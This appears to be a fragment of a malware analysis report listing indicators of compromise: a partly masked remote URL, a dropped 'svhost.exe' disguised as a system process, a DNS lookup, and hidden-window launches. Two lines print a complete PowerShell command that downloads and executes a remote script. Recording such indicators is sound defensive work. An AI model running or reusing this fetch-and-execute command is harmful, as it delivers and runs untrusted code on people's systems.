Technical Information
- http://u5#######l.ha003.t.justns.ru/mon-module.txt
- %PROGRAMDATA%\svhost.exe
- http://u5#######l.ha003.t.justns.ru/mon-module.txt
- DNS ASK u5#######l.ha003.t.justns.ru
- '%PROGRAMDATA%\svhost.exe'
- '%PROGRAMDATA%\svhost.exe' ' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c powershell (iex(New-Object Net.WebClient).DownloadString('http://u5#######l.ha003.t.justns.ru/mon-module.txt'));' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c powershell (iex(New-Object Net.WebClient).DownloadString('http://u5#######l.ha003.t.justns.ru/mon-module.txt'));